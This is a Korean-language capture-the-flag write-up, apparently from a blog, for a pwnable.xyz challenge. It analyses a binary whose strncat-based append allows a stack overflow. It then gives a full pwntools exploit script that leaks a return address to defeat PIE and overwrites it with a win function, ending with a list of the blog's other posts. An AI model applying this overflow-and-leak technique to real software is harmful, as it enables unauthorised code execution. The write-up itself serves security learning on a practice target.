# checksec
# menu
메뉴 1 :
Fgets(&s, 0x80, stdin)
0x80만큼 표준입력(stdin, 전역변수 0x202020)받은 값을 s 변수[rbp-400h]에 저장한다.
메뉴 2 :
append(&s) a1은 변수 s에 대한 포인터 값.
#include <string.h>
char *strncat(char *string1, const char *string2, size_t count);
strncat(a1, &buf, (signed int)v3) : buf의 처음 v3자를 a1에 추가하고 널 문자(\0)로 결과 스트링을 종료한다. V3가 buf의 길이보다 크면 v3 대신 buf의 길이만큼 a1에 추가하고 널 문자로 종료한다.
메뉴 3 :
변수 s에 저장된 메시지 값 출력
# process
값을 넣고 3번 메뉴 후에 디버깅으로 확인해보면 값이 들어있고, s의 크기가 0x3f8(1016)이므로 더 내려가면 SFP와 return address가 나온다.
따라서 2번 메뉴에서 0x3f8+8만큼 s를 채운 후 1바이트를 더 주면 return address leak을 할 수 있고, 0x557702b39000과의 offset으로 pie base를 구할 수 있다.
Pie base를 구하고 나면 pie base + win을 return address에 넣으면 될 것이다.
1. pie leak
append함수를 2번 메뉴로 call한 후 디버깅으로 rbp-0x20을 출력해봤을 때 +8 위치에 코드 주소가 적혀있다. 따라서 rand가 0~15 범위로 바뀌는데 14바이트를 입력할 수 있으면 8바이트를 입력하면 strncat으로 buf변수값이 14바이트가 s에 붙여지므로 (왜냐하면 strncat 특성상 buf의 처음 14바이트를 s에 붙이므로)
Rbp-0x18 위치에 read_int32+64의 코드 주소가 들어있어서 14 또는 15 바이트를 출력하도록 하면 이 주소를 leak해서 pie base를 구할 수 있다.
Offset은 0xbc2이다.
2. return address -> win
paylaod = 'B'*(0x408-size) + p64(win)
으로 두고, strncat으로 붙여나가면서 payload를 끊어서 전달하면 된다.
Payload를 계산해보니 길이가 0x408-size + 8 = 1026이라서 1026보다 같거나 커지면 break하게 했더니 플래그가 따졌다.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30014)
global size
while(1):
p.sendafter("> ", '2')
p.recvuntil("Give me ")
size = int(p.recvuntil(" "))
if size >= 14:
p.sendafter(": ", 'A'*8)
p.sendafter("> ", '3')
p.recvuntil('A'*8)
ret = u64(p.recv(6)+"\x00\x00")
pie = ret - 0xbc2
log.info("ret : "+hex(ret))
log.info("pie : "+hex(pie))
break
else:
continue
win = pie + 0xb57
pay = 'B'*(0x408-size) + p64(win)
begin = 0
while(1):
p.sendafter("> ", '2')
p.recvuntil("Give me ")
size2 = int(p.recvuntil(" "))
end = begin + size2
if size2 == 0:
continue
p.sendafter(": ", pay[begin:end])
begin = end
print end
if end >= 1026:
break
p.sendafter("> ", '0')
p.interactive()
# exploit
익스코드를 돌릴 때 pie leak 시 rand 값이 14바이트 이상이어야 가능한 것 빼고는 return address->win은 잘 됐다.
[Pwnable.xyz] executioner v2 (0) | 2020.04.20 |
---|---|
[Pwnable.xyz] rwsr (0) | 2020.03.25 |
[pwnable.xyz] catalog (0) | 2020.03.09 |
[pwnable.xyz] message (0) | 2020.02.28 |
[pwnable.xyz] badayum (0) | 2020.02.28 |